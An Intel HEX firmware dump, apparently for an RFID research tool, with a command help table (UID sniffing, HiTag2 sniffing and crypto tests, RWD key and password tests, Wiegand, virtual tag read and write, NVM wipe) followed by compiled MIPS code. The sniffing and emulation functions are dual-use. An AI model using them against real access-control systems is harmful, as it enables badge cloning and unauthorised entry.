:102bc80020202020202020202020202020202020fd
:102bd80020202020202020202020202020202020ed
:102be80020202020202020202020202020476f2067
:102bf800696e746f20534e4946464552206d6f6486
:102c0800652028636f6e74696e756f75736c7920b3
:102c1800736e69666620554944290d0a0000000054
:102c2800534e4946462d50574d205b4d494e20473f
:102c380041505d205b4d494e2050554c53455d2019
:102c48005b4d455347204741505d202020202020e0
:102c580020202020202020202020202020536e69a2
:102c680066662050574d206f6e2065787465726ec9
:102c7800616c20636c6f636b2077697468205245c0
:102c88004144455220636f696c2e2056616c75650e
:102c98007320696e207553202864656661756c74ad
:102ca8002031322f302f30292e0d0a00534e49463d
:102cb800462d50574d203c437c537c4c3e202020d1
:102cc80020202020202020202020202020202020fc
:102cd80020202020202020202020202020202020ec
:102ce800202020202020202020536e696666205056
:102cf800574d2028486954616732206d6f646529f3
:102d080020746f204e5652414d202d20434c454192
:102d1800522c2053544f52452c204c4953540d0ae1
:102d28000000000053544f50202020202020202055
:102d3800202020202020202020202020202020208b
:102d4800202020202020202020202020202020207b
:102d5800202020202020202020202020202020206b
:102d68002053746f7020616e792072756e6e696e73
:102d78006720636c6f636b730d0a000054414753ff
:102d8800202020202020202020202020202020203b
:102d9800202020202020202020202020202020202b
:102da800202020202020202020202020202020201b
:102db80020202020202020202053686f77206b6e51
:102dc8006f776e205441472054595045530d0a00df
:102dd80054434f4e464947202020202020202020c1
:102de80020202020202020202020202020202020db
:102df80020202020202020202020202020202020cb
:102e08002020202020202020202020202053686ff0
:102e18007720544147277320636f6e666967206285
:102e28006c6f636b0d0a0000544553542d48495488
:102e38004147202020202020202020202020202042
:102e4800202020202020202020202020202020207a
:102e5800202020202020202020202020202020206a
:102e680020202020204869746167322063727970bd
:102e7800746f202d207465737420636f727265639c
:102e8800746e65737320262074696d696e670d0a08
:102e980000000000544553542d525744205b4845c8
:102ea80058204b45597c5041545445524e7c5057fc
:102eb800445d2020202020202020202020202020a9
:102ec80020202020202020202020202020202020fa
:102ed8002046696e6420696465616c207061726166
:102ee8006d617465727320666f7220525744206357
:102ef8006f6d6d616e64730d0a0000005445535484
:102f08002d53432020202020202020202020202056
:102f180020202020202020202020202020202020a9
:102f28002020202020202020202020202020202099
:102f3800202020202020202020546573742049530d
:102f48004f2d3738313620536d6172746361726466
:102f5800202867657420415452290d0a000000009a
:102f6800544553542d534420202020202020202035
:102f78002020202020202020202020202020202049
:102f88002020202020202020202020202020202039
:102f9800202020202020202020202020205465735d
:102fa80074205344206361726420286469726563e5
:102fb800746f7279206c697374696e67290d0a00e1
:102fc800544553542d54494d45522020202020204b
:102fd80020202020202020202020202020202020e9
:102fe80020202020202020202020202020202020d9
:102ff8002020202020202020202020202054696dff
:1030080065722074657374730d0a00005445535437
:103018002d57494547414e4420202020202020207c
:103028002020202020202020202020202020202098
:103038002020202020202020202020202020202088
:1030480020202020202020202057696567616e6499
:10305800206c6f6f706261636b20746573740d0a06
:1030680000000000544553542d57494547414e44ec
:103078002d52454144203c44454255472050494e35
:103088003e2020202020202020202020202020201a
:103098002020202020202020202020202020202028
:1030a8002057696567616e64207265616465722086
:1030b8007465737420287472696767657273207702
:1030c8006974682044454255475f50494e5f582906
:1030d8000d0a0000545245534554205b5057445d37
:1030e80020202020202020202020202020202020d8
:1030f80020202020202020202020202020202020c8
:1031080020202020202020202020202020202020b7
:1031180020526573657420544147277320636f6e8e
:1031280066696720626c6f636b20746f20646566e4
:1031380061756c740d0a000054524953544154454a
:10314800203c4f4e7c4f46463e2020202020202009
:103158002020202020202020202020202020202067
:103168002020202020202020202020202020202057
:103178002020202020537769746368207265616479
:1031880065722063697263756974207472692d733e
:1031980074617465204f4e2f4f46460d0a0000009b
:1031a8005457495045205b5057445d20202020202b
:1031b8002020202020202020202020202020202007
:1031c80020202020202020202020202020202020f7
:1031d800202020202020202020202020205265731d
:1031e80065742054414720636f6e74656e74732054
:1031f800746f2064656661756c7420282a2a2a20f9
:10320800616c6c20646174612077696c6c20626504
:10321800206c6f737421290d0a0000005549442061
:103228002020202020202020202020202020202096
:103238002020202020202020202020202020202086
:103248002020202020202020202020202020202076
:103258002020202020202020205265616420544115
:1032680047205549440d0a0056455253494f4e20b0
:103278002020202020202020202020202020202046
:103288002020202020202020202020202020202036
:103298002020202020202020202020202020202026
:1032a800202020202053686f77206669726d77612f
:1032b80072652076657273696f6e0d0a00000000f2
:1032c8005654414720202020202020202020202044
:1032d80020202020202020202020202020202020e6
:1032e80020202020202020202020202020202020d6
:1032f8002020202020202020202020202053686ffc
:103308007720636f6e74656e7473206f66205669dc
:10331800727475616c205441470d0a005657524922
:103328005445203c424c4f434b3e203c4845582096
:10333800444154413e2020202020202020202020cd
:103348002020202020202020202020202020202075
:1033580020202020202020202057726974652056c4
:10336800544147206461746120626c6f636b2873f9
:10337800290d0a0057494547414e442d4c454152b5
:103388004e20202020202020202020202020202007
:103398002020202020202020202020202020202025
:1033a8002020202020202020202020202020202015
:1033b800204c6561726e2057696567616e6420698b
:1033c8006e7075742074696d696e67730d0a0000fc
:1033d80057494547414e442d4f5554203c4f46468a
:1033e8007c4f4e3e202020202020202020202020fe
:1033f80020202020202020202020202020202020c5
:1034080020202020202020202020202020536574e8
:103418002057696567616e64206f757470757420d4
:103428004f4646206f72204f4e0d0a0057494547b8
:10343800414e442d52454144202020202020202068
:103448002020202020202020202020202020202074
:103458002020202020202020202020202020202064
:1034680020202020202020202052656164205769d8
:103478006567616e6420696e7075740d0a000000de
:1034880057494547414e442d5752495445203c42df
:10349800494e4152593e2020202020202020202023
:1034a8002020202020202020202020202020202014
:1034b8002020202020202020202020202053656e3e
:1034c800642057696567616e64206f7574707574e0
:1034d8000d0a000057495045202020202020202098
:1034e80020202020202020202020202020202020d4
:1034f80020202020202020202020202020202020c4
:1035080020202020202020202020202020202020b3
:103518002057697065204e564d0d0a005752495480
:1035280045203c424c4f434b3e203c4845582044a4
:103538004154413e202020202020202020202020ef
:103548002020202020202020202020202020202073
:1035580020202020202020202057726974652064b4
:1035680061746120626c6f636b20286d61792072d1
:10357800657175697265206c6f67696e2f61757406
:1035880068290d0a000000005749524553202020a1
:103598002020202020202020202020202020202023
:1035a8002020202020202020202020202020202013
:1035b8002020202020202020202020202020202003
:1035c800202020202053686f7720776972696e6702
:1035d800206469616772616d2028616c6961733a62
:1035e80020574952494e472050494e53290d0a0049
:1035f800574952494e4720202020202020202020b3
:1036080020202020202020202020202020202020b2
:1036180020202020202020202020202020202020a2
:103628002020202020202020202020202053686fc8
:103638007720776972696e67206469616772616d66
:103648002028616c6961733a2057495245532050cc
:10365800494e53290d0a00000000803f20bcbe4c93
:04366800a1a0a03c41
:020000040000fa
:020000041d02db
:10366c0010ffbd27ec00bfafe800beaf21f0a003f8
:10367c00f000c4aff400c5af1400c0af059d023c10
:10368c002c8644240413410f000000001800c227ac
:10369c0021204000b6ad400f00000000080040148f
:1036ac0000000000059d023c308644240413410fa9
:1036bc0000000000211000003d8e400b00000000b7
:1036cc002400c3271800c2272120600021284000b5
:1036dc00cbb8400f00000000f400c48f200005247c
:1036ec00c658410f000000001400c2af1400c28f76
:1036fc000800401400000000059d023c4486442450
:10370c000413410f00000000211000003d8e400bff
:10371c00000000001400c28f000040a04400c2272b
:10372c0021204000f400c58fcbb8400f00000000f2
:10373c002118400020000224080062100000000044
:10374c00059d023c688644240413410f00000000d0
:10375c00211000003d8e400b000000001400c28fb1
:10376c00010042244400c327200063242120600070
:10377c0021284000cbb8400f000000002118400069
:10378c00200002240800621000000000059d023c8d
:10379c00848644240413410f000000002110000013
:1037ac003d8e400b000000008400c3274400c2275c
:1037bc002120600021284000438e400f00000000b3
:1037cc000800401400000000059d023ca086442423
:1037dc000413410f00000000211000003d8e400b2f
:1037ec00000000009c00c4278400c5274400c327a8
:1037fc002400c2272130600021384000cc8e400fbd
:10380c00000000000800401400000000059d023c70
:10381c00c88644240413410f00000000211000004e
:10382c003d8e400b00000000f000c28f000040a055
:10383c001000c0af388e400b000000001000c28f8b
:10384c00ff00423021284000c800c4274400c32791
:10385c009c00c2272130600021384000f98f400fb6
:10386c00000000000c00401000000000d400c32732
:10387c00c800c22721206000059d033cf886652402
:10388c001000c68f21384000e455410f00000000a5
:10389c00308e400b00000000d400c22721204000d5
:1038ac00059d023c048745241000c68fe455410f4a
:1038bc0000000000d400c227f000c48f2128400073
:1038cc009757410f000000001000c28f01004224e6
:1038dc001000c2af1000c28f08004228d7ff40145e
:1038ec00000000000100022421e8c003ec00bf8f9f
:1038fc00e800be8ff000bd270800e00300000000c8
:10390c00c8ffbd273400bfaf3000beaf21f0a0030d
:10391c003800c4af3c00c5af059d023c0c87442465
:10392c000413410f000000001000c0a3bd8e400b1b
:10393c00000000001100c0a3b68e400b0000000078
:10394c001200c0a3af8e400b000000001300c0a3f8
:10395c00a88e400b000000001400c0a3a18e400be9
:10396c00000000001500c0a39a8e400b0000000060
:10397c001000c2931800c2a31100c2931900c2a375
:10398c001200c2931a00c2a31300c2931b00c2a35d
:10399c001400c2931c00c2a31d00c0a31500c29347
:1039ac001e00c2a31f00c0a32000c0a32100c0a3ff
:1039bc002400c3271800c227212060003c00c58fbb
:1039cc00213040000a0007247a90400f00000000cc
:1039dc001b004010000000002400c22721204000e2
:1039ec00059d023c30874524544e410f00000000d9
:1039fc0013004010000000003800c28f1800c48f64
:103a0c001c00c38f030044a8000044b8070043a85f
:103a1c00040043b82000c393080043a02100c393c3
:103a2c00090043a0059d023c2c8644240413410f3d
:103a3c000000000001000224c68e400b00000000b4
:103a4c00059d023c3c8744240413410f00000000f8
:103a5c001500c293010042241500c2a31500c293a5
:103a6c000200422cc2ff4014000000001400c2935c
:103a7c00010042241400c2a31400c2930200422c81
:103a8c00b8ff4014000000001300c2930100422450
:103a9c001300c2a31300c2930200422caeff4014c9
:103aac00000000001200c293010042241200c2a3c5
:103abc001200c2930200422ca4ff4014000000002c
:103acc001100c293010042241100c2a31100c29341
:103adc000200422c9aff4014000000001000c29318
:103aec00010042241000c2a31000c2930200422c19
:103afc0090ff401400000000059d023c40874424c8
:103b0c000413410f000000002110000021e8c00345
:103b1c003400bf8f3000be8f3800bd270800e00393
:103b2c0000000000a0ffbd275c00bfaf5800beaf77
:103b3c0021f0a0036000c4af6400c5af6800c6af3d
:103b4c006c00c7af059d023c848744240413410fcd
:103b5c00000000001800c0a3628f400b00000000a2
:103b6c001900c0a35b8f400b000000001a00c0a31b
:103b7c00548f400b000000001b00c0a34d8f400b66
:103b8c00000000006400c28f030043882120600005
:103b9c000000449807004388040043981c00c4affd
:103bac002000c3af080043902400c3a30900429037
:103bbc002500c2a31800c2930900401000000000a9
:103bcc002100c2930100422cff0042302100c2a30d
:103bdc001c00c2930100422cff0042301c00c2a307
:103bec001900c29309004010000000002300c2938a
:103bfc000100422cff0042302300c2a31e00c293de
:103c0c000100422cff0042301e00c2a31a00c293d6
:103c1c0009004010000000002400c2930100422c57
:103c2c00ff0042302400c2a31f00c2930100422cab
:103c3c00ff0042301f00c2a31b00c29309004010ba
:103c4c00000000002500c2930100422cff0042300e
:103c5c002500c2a32000c2930100422cff00423079
:103c6c002000c2a32800c3271c00c227212060000b
:103c7c006800c58f213040000a0007247a90400f5d
:103c8c000000000021004010000000002800c227a6
:103c9c0021204000059d023c30874524544e410fa5
:103cac000000000019004010000000003400c32781
:103cbc002800c2272120600021284000cbb8400feb
:103ccc00000000001c00c2273400c3271000a3af63
:103cdc006000c48f6800c58f213040006c00c78f16
:103cec00718f400f00000000080040100000000021
:103cfc00059d023c2c8644240413410f0000000057
:103d0c00010002246b8f400b00000000059d023c5b
:103d1c003c8744240413410f000000001b00c29395
:103d2c00010042241b00c2a31b00c2930200422cc0
:103d3c0094ff4014000000001a00c29301004224ba
:103d4c001a00c2a31a00c2930200422c8aff40142c
:103d5c00000000001900c293010042241900c2a304
:103d6c001900c2930200422c80ff40140000000096
:103d7c001800c293010042241800c2a31800c29379
:103d8c000200422c76ff401400000000059d023c0e
:103d9c00a48744240413410f0000000021100000ec
:103dac0021e8c0035c00bf8f5800be8f6000bd27a8
:103dbc000800e0030000000030ffbd27cc00bfafbf
:103dcc00c800beaf21f0a003d000c4afd400c5af73
:103ddc00d800c6afdc00c7af1400c22721204000ba
:103dec00d800c58f0a000624214b410f00000000ab
:103dfc001400c2270a00422421204000e000c58f95
:103e0c0020000624214b410f000000004000c22777
:103e1c0021204000059d023cf88745245bba400fe9
:103e2c00000000004000c2270a004224212040006c
:103e3c00dc00c58f20000624214b410f0000000040
:103e4c004000c3271400c227d000c48f2128600073
:103e5c00213040002a000724d48f400f00000000be
:103e6c001000c0afac8f400b000000001000c28fe0
:103e7c004010020080180200211043006c00c32780
:103e8c002110620021204000059d023cf88745244a
:103e9c005bba400f000000001000c28f01004224ea
:103eac001000c2af1000c28f04004228efff401474
:103ebc00000000009400c3276c00c2272120600082
:103ecc0021284000d000c68f28000724d48f400f33
:103edc0000000000bc00c3279400c2272120600012
:103eec00d400c58f21304000280007247a90400f61
:103efc00000000000c00401000000000bc00c227b5
:103f0c0021204000059d023c30874524544e410f32
:103f1c00000000000400401000000000010002241a
:103f2c00ce8f400b000000002110000021e8c003e0
:103f3c00cc00bf8fc800be8fd000bd270800e003a7
:103f4c0000000000f0ffbd270c00beaf21f0a00365
:103f5c001000c4af1400c5af1800c6af1c00c7af2b
:103f6c000000c0afef8f400b000000000000c28fbc
:103f7c001000c38f211062000000c38f1400c48f87
:103f8c0021188300000064900000c38f1800c58fb7
:103f9c002118a3000000639026188300ff006330f3
:103fac00000043a00000c28f010042240000c2aff9
:103fbc000000c38f1c00c28f2b106200ebff40145b
:103fcc000000000021e8c0030c00be8f1000bd27cc
:103fdc000800e0030000000080ffbd277c00bfaf9d
:103fec007800beaf21f0a0038000c4af2110a00068
:103ffc008800c6af8c00c7af8400c2a38400c293f4
:10400c000800422c0800401400000000059d023cf2
:10401c00048844240413410f000000002110000008
:10402c007490400b000000001000c22721204000bb
:10403c00059d023cf88745245bba400f0000000048
:10404c008400c293010042300900401000000000bf
:10405c001900c2930100422cff0042301900c2a388
:10406c001400c2930100422cff0042301400c2a382
:10407c008400c2930200423009004010000000008e
:10408c001800c2930100422cff0042301800c2a35a
:10409c001300c2930100422cff0042301300c2a354
:1040ac008400c2930400423009004010000000005c
:1040bc001700c2930100422cff0042301700c2a32c
:1040cc001200c2930100422cff0042301200c2a326
:1040dc001c00c227212040001000c22721284000cc
:1040ec008c00c68f0a000724d48f400f00000000fc
:1040fc002800c3271c00c227212060008800c58f20
:10410c00213040000a0007247a90400f0000000084
:10411c0027004010000000002800c227212040008a
:10412c00059d023c30874524544e410f0000000091
:10413c0019004010000000003400c3272800c227db
:10414c002120600021284000cbb8400f0000000067
:10415c008c00c28f0a0042245400c4273400c327a9
:10416c00212860002130400020000724d48f400f0c
:10417c00000000005400c2278000c48f212840009a
:10418c002000062447b9400f000000000100022463
:10419c007490400b00000000059d023c30884424c4
:1041ac000413410f000000007390400b000000004e
:1041bc00059d023c7c8844240413410f0000000040
:1041cc002110000021e8c0037c00bf8f7800be8f57
:1041dc008000bd270800e0030000000098ffbd2709
:1041ec006400bfaf6000beaf21f0a0036800c4af95
:1041fc006c00c5af7000c6af7400c7af1800c0af7d
:10420c004400c22721204000b6ad400f0000000042
:10421c000800401400000000059d023cb8884424ae
:10422c000413410f0000000021100000bc90400b53
:10423c0000000000088180af4400c227212040000c
:10424c00b6ad400f00000000080040140000000054
:10425c00059d023ce48844240413410f0000000037
:10426c0021100000bc90400b000000005000c22741
:10427c001000a0af212040006c00c58f4000062428
:10428c0003000724c290400f0000000008004014f7
:10429c0000000000059d023c1c8944240413410fbe
:1042ac000000000021100000bc90400b000000003a
:1042bc001000a0af6800c48f7000c58f7400c68f4b
:1042cc0003000724c290400f0000000004004014bb
:1042dc000000000021100000bc90400b000000000a
:1042ec000100022421e8c0036400bf8f6000be8f70
:1042fc006800bd270800e0030000000098ffbd2700
:10430c006400bfaf6000beaf21f0a0036800c4af73
:10431c006c00c5af7000c6af7400c7af3000c0af43
:10432c00088180af00a0023cdc5642249c00478ce4
:10433c0000a0023cdc564224f800468c00a0023c53
:10434c00dc564224e400458c00a0023cdc5642249e
:10435c00e800448c00a0023cdc564224e000438c74
:10436c0000a0023cdc564224f400428c7400c88f3e
:10437c001000a8af1400a7af1800a0af1c00a6af88
:10438c002000a5af2400a4af2800a3af2c00a2af3f
:10439c006c00c48f7000c58f7800c68f0100072495
:1043ac00023c410f00000000080040140000000017
:1043bc00059d023c4c8944240413410f000000006d
:1043cc00211000003391400b00000000010002247a
:1043dc00408282a300a0023cdc5642249c00448c08
:1043ec0000a0023cdc564224a400438c00a0023cfa
:1043fc00dc564224bc0042902130400000a0023c1c
:10440c00dc5642248c00458c3400c22700a0073cab
:10441c009957e7241000a7af1400a6af1800a5af5a
:10442c00010005241c00a5af2000a0af21286000ce
:10443c0021304000250007248dff400f00000000b4
:10444c003000c2af3000c38f250002241b00621461
:10445c00000000003400c22721204000059d023cd2
:10446c0074c64524050006240954410f00000000c1
:10447c000800401000000000059d023c7489442493
:10448c000413410f00000000211000003391400b79
:10449c00000000003400c227050042246800c48fcd
:1044ac00212840002000062447b9400f00000000de
:1044bc00010002243391400b000000002110000089
:1044cc0021e8c0036400bf8f6000be8f6800bd2769
:1044dc000800e00300000000b8fabd274405bfaf98
:1044ec004005beaf3c05b7af3805b6af3405b5af28
:1044fc003005b4af2c05b3af2805b2af2405b1af6e
:10450c002005b0af21f0a0034805c4af4c05c5afe2
:10451c004c05c28f1800c2af1800c48f20000524b0
:10452c00c658410f000000001c00c2af1c00c28f17
:10453c000800401400000000059d023c94894424ae
:10454c000413410f00000000211000007b9a400b67
:10455c00000000001c00c28f000040a01800c48f97
:10456c007b4b410f00000000211840000c0002247e
:10457c000800621000000000059d023cc089442424
:10458c000413410f00000000211000007b9a400b27
:10459c00000000001800c48f05b8400f0000000098
:1045ac0040260300c281020025809000c2890300ce
:1045bc0001001632000037321800c48f05b8400fc6
:1045cc0000000000c02603004291020025909200da
:1045dc0042990300020042323000c2af0000633245
:1045ec003400c3af3000c68f2120c6022b109600ba
:1045fc003400c38f2128e3022110450021284000fc
:10460c00218080002188a0001800c48f05b8400fbd
:10461c000000000040270300c2a0020025a0940067
:10462c00c2a80300040084323800c4af0000a532d5
:10463c003c00c5af3800c68f212006022b1090001d
:10464c003c00c38f21282302211045002128400063
:10465c00218080002188a0001800c48f05b8400f6d
:10466c0000000000c0270300422802004000c5af34
:10467c004000c68f252086004000c4af42200300b6
:10468c004400c4af4000c58f0800a5304800c5af3a
:10469c004400c68f0000c6304c00c6af4800c28f25
:1046ac00212002022b1090004c00c38f21282302e2
:1046bc002110450021284000218080002188a00085
:1046cc001800c48f05b8400f00000000c22702007c
:1046dc00402803005400c5af5400c68f2520860027
:1046ec005400c4af402002005000c4af5000c58f2e
:1046fc001000a5305800c5af5400c68f0000c6305e
:10470c005c00c6af5800c28f212002022b10900013
:10471c005c00c38f21282302211045002128400072
:10472c00218080002188a0001800c48f05b8400f9c
:10473c000000000042270200c02803006400c5af3f
:10474c006400c68f252086006400c4afc020020020
:10475c006000c4af6000c58f2000a5306800c5aff5
:10476c006400c68f0000c6306c00c6af6800c28ff4
:10477c00212002022b1090006c00c38f21282302f1
:10478c002110450021284000218080002188a000b4
:10479c001800c48f05b8400f00000000c2260200ac
:1047ac00402903007400c5af7400c68f2520860015
:1047bc007400c4af402102007000c4af7000c58ffc
:1047cc004000a5307800c5af7400c68f0000c6301d
:1047dc007c00c6af7800c28f212002022b10900003
:1047ec007c00c38f21282302211045002128400082
:1047fc00218080002188a0001800c48f05b8400fcc
:10480c000000000042260200c02903008400c5af4e
:10481c008400c68f252086008400c4afc02102000e
:10482c008000c4af8000c5938800c5af8400c68fdc
:10483c000000c6308c00c6af8800c28f2120020257
:10484c002b1090008c00c38f2128230221104500cf
:10485c0021284000219080002198a0001800c48fce
:10486c0005b8400f0000000040240300c22b0200da
:10487c009000c5af9000c68f252086009000c4af75
:10488c00c22303009400c4af9000c58f0100a53073
:10489c009800c5af9400c68f0000c6309c00c6af10
:1048ac001800c48f05b8400f00000000c02403009e
:1048bc00422b0200a000c5afa000c68f25208600a9
:1048cc00a000c4af42230300a400c4afa000c58f56
:1048dc000200a530a800c5afa400c68f0000c630ea
:1048ec00ac00c6af9800c28fa800c38f2120430034
:1048fc009800c68f2b1086009c00c38fac00c68f0f
:10490c0021286600211045002128400021808000cc
:10491c002188a0001800c48f05b8400f00000000cb
:10492c0040250300c22a0200b000c5afb000c68ffc
:10493c0025208600b000c4afc2220300b400c4af6f
:10494c00b000c58f0400a530b800c5afb400c68f49
:10495c000000c630bc00c6afb800c28f21200202d6
:10496c002b109000bc00c38f21282302211045007e
:10497c0021284000218080002188a0001800c48fcd
:10498c0005b8400f00000000c0250300422a0200b9
:10499c00c000c5afc000c68f25208600c000c4afc4
:1049ac0042220300c400c4afc000c58f0800a5306c
:1049bc00c800c5afc400c68f0000c630cc00c6af5f
:1049cc00c800c28f212002022b109000cc00c38f94
:1049dc00212823022110450021284000218080003d
:1049ec002188a0001800c48f05b8400f00000000fb
:1049fc0000260300022a0200d000c5afd000c68feb
:104a0c0025208600d000c4af02220300d400c4af1e
:104a1c00d000c58fc2170500d400c68f40300600e9
:104a2c00dc00c6afdc00c38f25104300dc00c2af36
:104a3c00d000c48f40200400d800c4afd800c58f6c
:104a4c001000a530e000c5afdc00c68f0000c630fa
:104a5c00e400c6afe000c28f212002022b109000b0
:104a6c00e400c38f21282302211045002128400097
:104a7c00218080002188a0001800c48f05b8400f49
:104a8c000000000000260300022a0200e800c5af67
:104a9c00e800c68f25208600e800c4af0222030080
:104aac00ec00c4afe800c58f42170500ec00c68fc0
:104abc00c0300600f400c6aff400c38f25104300cd
:104acc00f400c2afe800c48fc0200400f000c4aff3
:104adc00f000c58f2000a530f800c5aff400c68fdc
:104aec000000c630fc00c6aff800c28f21200202c5
:104afc002b109000fc00c38f2128230221104500ad
:104b0c0021284000218080002188a0001800c48f3b
:104b1c0005b8400f0000000000260300022a020026
:104b2c000001c5af0001c68f252086000001c4af6f
:104b3c00022203000401c4af0001c58fc216050098
:104b4c000401c68f403106000c01c6af0c01c38fa7
:104b5c00251043000c01c2af0001c48f402104009a
:104b6c000801c4af0801c58f4000a5301001c5afc6
:104b7c000c01c68f0000c6301401c6af1001c28fe5
:104b8c00212002022b1090001401c38f2128230234
:104b9c002110450021284000218080002188a000a0
:104bac001800c48f05b8400f000000000026030059
:104bbc00022a02001801c5af1801c68f25208600f5
:104bcc001801c4af022203001c01c4af1801c58f29
:104bdc00421605001c01c68fc03106002401c6af69
:104bec002401c38f251043002401c2af1801c48fc8
:104bfc00c02104002001c4af2001c5932801c5af1a
:104c0c002401c68f0000c6302c01c6af2801c28f0c
:104c1c00212002022b1090002c01c38f212823028b
:104c2c002110450021284000211080002118a000ef
:104c3c0002260200002a03003401c5af3401c68fde
:104c4c00252086003401c4af002202003001c4af1d
:104c5c003001c68f212046022b1092003401c38fe5
:104c6c0021286302211045002128400021a080004a
:104c7c0021a8a0001800c48f05b8400f0000000048
:104c8c0040220300c22d02003801c5af3801c68f87
:104c9c00252086003801c4afc22503003c01c4aff7
:104cac003801c58f0100a5304001c5af3c01c68f4e
:104cbc000000c6304401c6af1800c48f05b8400fc1
:104ccc0000000000c0220300422d02004801c5afc5
:104cdc004801c68f252086004801c4af4225030039
:104cec004c01c4af4801c58f0200a5305001c5afbf
:104cfc004c01c68f0000c6305401c6af4001c28fb4
:104d0c005001c38f212043004001c68f2b10860019
:104d1c004401c38f5401c68f212866002110450021
:104d2c0021284000218080002188a0001800c48f19
:104d3c0005b8400f0000000040230300c22c020005
:104d4c005801c5af5801c68f252086005801c4af45
:104d5c00c22403005c01c4af5801c58f0400a53008
:104d6c006001c5af5c01c68f0000c6306401c6afe0
:104d7c006001c28f212002022b1090006401c38fae
:104d8c002128230221104500212840002180800089
:104d9c002188a0001800c48f05b8400f0000000047
:104dac00c0230300422c02006801c5af6801c68f06
:104dbc00252086006801c4af422403006c01c4aff7
:104dcc006801c58f0800a5307001c5af6c01c68f96
:104ddc000000c6307401c6af7001c28f21200202e0
:104dec002b1090007401c38f212823022110450041
:104dfc0021284000218080002188a0001800c48f49
:104e0c0005b8400f0000000000240300022c020033
:104e1c007801c5af7801c68f252086007801c4af14
:104e2c00022403007c01c4af7801c58fc2170500b2
:104e3c007c01c68f403006008401c6af8401c38f4d
:104e4c00251043008401c2af7801c48f40200400b8
:104e5c008001c4af8001c58f1000a5308801c5af9b
:104e6c008401c68f0000c6308c01c6af8801c28f8a
:104e7c00212002022b1090008c01c38f21282302c9
:104e8c002110450021284000218080002188a000ad
:104e9c001800c48f05b8400f000000000024030068
:104eac00022c02009001c5af9001c68f2520860010
:104ebc009001c4af022403009401c4af9001c58fcc
:104ecc00421705009401c68fc03006009c01c6af86
:104edc009c01c38f251043009c01c2af9001c48f6d
:104eec00c02004009801c4af9801c58f2000a530e4
:104efc00a001c5af9c01c68f0000c630a401c6af8f
:104f0c00a001c28f212002022b109000a401c38f9c
:104f1c0021282302211045002128400021808000f7
:104f2c002188a0001800c48f05b8400f00000000b5
:104f3c0000240300022c0200a801c5afa801c68ff3
:104f4c0025208600a801c4af02240300ac01c4af25
:104f5c00a801c58fc2160500ac01c68f40310600f2
:104f6c00b401c6afb401c38f25104300b401c2af66
:104f7c00a801c48f40210400b001c4afb001c58f9b
:104f8c004000a530b801c5afb401c68f0000c630d3
:104f9c00bc01c6afb801c28f212002022b109000b9
:104fac00bc01c38f21282302211045002128400079
:104fbc00218080002188a0001800c48f05b8400f04
:104fcc000000000000240300022c0200c001c5af49
:104fdc00c001c68f25208600c001c4af0224030087
:104fec00c401c4afc001c58f42160500c401c68ff1
:104ffc00c0310600cc01c6afcc01c38f25104300d5
:10500c00cc01c2afc001c48fc0210400c801c4af21
:10501c00c801c593d001c5afcc01c68f0000c63006
:10502c00d401c6afd001c28f212002022b109000f8
:10503c00d401c38f212823022110450021284000d0
:10504c00219080002198a0001800c48f05b8400f53
:10505c000000000040200300c22f0200d801c5afa1
:10506c00d801c68f25208600d801c4afc227030003
:10507c00dc01c4afd801c58f0100a530e001c5af7c
:10508c00dc01c68f0000c630e401c6af1800c48f27
:10509c0005b8400f00000000c0200300422f0200a2
:1050ac00e801c5afe801c68f25208600e801c4af32
:1050bc0042270300ec01c4afe801c58f0200a53004
:1050cc00f001c5afec01c68f0000c630f401c6afcd
:1050dc00e001c28ff001c38f21204300e001c68f95
:1050ec002b108600e401c38ff401c68f21286600c3
:1050fc002110450021284000218080002188a0003b
:10510c001800c48f05b8400f0000000040210300b8
:10511c00c22e0200f801c5aff801c68f252086000b
:10512c00f801c4afc2260300fc01c4aff801c58f5f
:10513c000400a5300002c5affc01c68f0000c630cc
:10514c000402c6af0002c28f212002022b10900075
:10515c000402c38f2128230221104500212840007e
:10516c00218080002188a0001800c48f05b8400f52
:10517c0000000000c0210300422e02000802c5af4f
:10518c000802c68f252086000802c4af4226030001
:10519c000c02c4af0802c58f0800a5301002c5afc1
:1051ac000c02c68f0000c6301402c6af1002c28fac
:1051bc00212002022b1090001402c38f21282302fd
:1051cc002110450021284000218080002188a0006a
:1051dc001800c48f05b8400f000000000022030027
:1051ec00022e02001802c5af1802c68f25208600b9
:1051fc001802c4af022603001c02c4af1802c58fec
:10520c00c21705001c02c68f403006002402c6af30
:10521c002402c38f251043002402c2af1802c48f8e
:10522c00402004002002c4af2002c58f1000a5301e
:10523c002802c5af2402c68f0000c6302c02c6afb0
:10524c002802c28f212002022b1090002c02c38f47
:10525c0021282302211045002128400021808000b4
:10526c002188a0001800c48f05b8400f0000000072
:10527c0000220300022e02003002c5af3002c68f9e
:10528c00252086003002c4af022603003402c4afce
:10529c003002c58f421705003402c68fc03006009d
:1052ac003c02c6af3c02c38f251043003c02c2af88
:1052bc003002c48fc02004003802c4af3802c58f3e
:1052cc002000a5304002c5af3c02c68f0000c6309e
:1052dc004402c6af4002c28f212002022b10900064
:1052ec004402c38f212823022110450021284000ad
:1052fc00218080002188a0001800c48f05b8400fc1
:10530c000000000000220300022e02004802c5af7c
:10531c004802c68f252086004802c4af022603002f
:10532c004c02c4af4802c58fc21605004c02c68f92
:10533c00403106005402c6af5402c38f25104300ff
:10534c005402c2af4802c48f402104005002c4afc3
:10535c005002c58f4000a5305802c5af5402c68f0d
:10536c000000c6305c02c6af5802c28f2120020278
:10537c002b1090005c02c38f2128230221104500c2
:10538c0021284000218080002188a0001800c48fb3
:10539c0005b8400f0000000000220300022e02009e
:1053ac006002c5af6002c68f252086006002c4afc4
:1053bc00022603006402c4af6002c58f42160500ca
:1053cc006402c68fc03106006c02c6af6c02c38f7c
:1053dc00251043006c02c2af6002c48fc0210400d0
:1053ec006802c4af6802c5937002c5af6c02c68f69
:1053fc000000c6307402c6af7002c28f21200202b8
:10540c002b1090007402c38f212823022110450019
:10541c0021284000211080002118a0000226020043
:10542c00002a03007c02c5af7c02c68f25208600b3
:10543c007c02c4af002202007802c4af7802c68f8f
:10544c00212046022b1092007c02c38f212863027c
:10545c002110450021284000211080002118a000b7
:10546c0002240200002c03008402c5af8402c68f04
:10547c00252086008402c4af002402008002c4af41
:10548c008002c68f212086022b1094008402c38fc9
:10549c002128a302211045002128400021b08000c2
:1054ac0021b8a0001800c48f05b8400f0000000000
:1054bc00c22103008802c4af8c02c0af8802c58f22
:1054cc000100a5309002c5af8c02c68f0000c6301b
:1054dc009402c6af1800c48f05b8400f000000003e
:1054ec00422103009802c4af9c02c0af9802c58f42
:1054fc000200a530a002c5af9c02c68f0000c630ca
:10550c00a402c6af9002c28fa002c38f2120430019
